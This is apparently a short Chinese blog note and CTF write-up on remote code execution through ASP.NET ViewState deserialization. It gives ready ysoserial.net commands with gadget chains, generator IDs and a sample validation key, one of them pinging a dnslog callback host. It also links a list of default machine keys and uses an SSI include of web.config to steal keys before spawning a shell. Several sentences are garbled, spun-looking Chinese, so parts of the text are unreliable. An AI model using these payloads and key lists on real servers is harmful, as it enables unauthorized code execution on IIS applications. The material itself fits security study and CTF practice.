ASP.NET在ViewState中反序列化利用
做项目学到一手记录下
viewstate是什么
- 按键名称存储每个控件的值,如哈希表
- 跟踪对视图状态值的初始状态的更改
- 序列化和取消序列化保存的数据到客户端上的隐藏窗体字段
- 自动恢复回贴的 ViewState 数据
- ASP.NET 支持三种不同的开发模式:
Web Pages(Web 页面)、MVC(Model View Controller 模型-视图-控制器)、Web Forms(Web 窗体)基于 web forms ,目的是为服务端控件状态进行持久化 。
ASP.NET Web应用顺序运用ViewState来庇护页面状况,并在Web表单中保存数据。ViewState参数是Base64序列化后的餐胡,一般会在POST请求中经由历程名为“__VIEWSTATE”的隐蔽参数发送。在效劳器端,将对这个参数举行反序列化,并检索数据。
利用条件
1.得到 validationKey 验证密钥 以及 validation 验证方法或者web.config某种途径的泄露
2.禁用MAC验证功能
默认key合集https://github.com/yuanhaiGreg/Fuzz-Dict/blob/master/ViewState_Key.txt
利用方式
利用ysoserialg工具生成viewstate payload
针对.NET Framwork 4.5及以上版本:
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --generator=93D20A1B --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
针对.NET Framwork 4.0及以上版本
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "ping p0xxwc.dnslog.cn" --generator="CA0B0334" --validationalg="MD5" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"
如果不知道_VIEWSTATEGENNERATOR参数,就需要知道其路径–path="/somepath/testaspx/test.aspx" --apppath="/testaspx/"
buu某ctf
题目给出了源码,文件上传黑名单的绕过上传ctm文件
<!-- test.shtml -->
<!--#include file="/web.config" -->
最后读到上面的配置文件,key也知道了
随便post一个包过去
现在知道viewstate及相关值了,然后ysorial工具
弹个shell就ok
参考文章:
https://www.4hou.com/posts/GYq7
https://github.com/Illuminopi/RCEvil.NET
https://github.com/pwntester/ysoserial.net